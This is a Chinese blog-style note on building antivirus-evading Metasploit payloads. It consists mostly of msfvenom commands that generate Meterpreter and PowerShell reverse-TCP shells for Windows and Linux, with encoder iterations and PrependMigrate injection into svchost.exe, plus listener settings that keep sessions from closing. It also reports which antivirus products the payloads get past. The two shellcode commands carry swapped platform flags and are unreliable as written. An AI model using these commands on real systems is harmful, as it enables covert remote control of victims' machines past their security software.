免杀马学习(MSF二进制混淆加密)

2023年将会持续于B站、CSDN等各大平台更新，可加入粉丝群与博主交流:838681355，为了老板大G共同努力。

前言

仅供学习，入行前的笔记，关于免杀效果请勿喷

注意的监听参数

防止假session：
在实战中，经常会遇到假session或者刚连接就断开的情况，这里补充一些监听参数，防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口，保持侦听。

防止session意外退出：
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下，如果一个会话将在5分钟（300秒）没有任何活动，那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下，一个星期（604800秒）后，会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听：
msf exploit(multi/handler) > exploit -j –z
使用exploit -j -z可在后台持续监听,-j为后台任务，-z为成功后不主动发送stage(感谢Green-m大佬指正)，使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式，在msf下直接执行：
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程，这种进程很容易被发现和关闭，在后期想做持久化的时候只能再使用migrate进行。
其实在生成payload时可直接使用如下命令，生成的payload会直接注入到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

绕过操作：use exploit/multi/handler(二进制混淆加密)

Windows：

1.msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kali ip> LPORT=<kali port> -a x86 --platform Windows -f exe > shell.exe
2.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<kali ip> LPORT=<kali port> -f exe > shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Shellcode

基于Linux的Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
基于Windows的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

免杀情况：

总结

免杀率约15%，过：baidu、kingsoft、alibaba、webroot、panda等已报废杀软。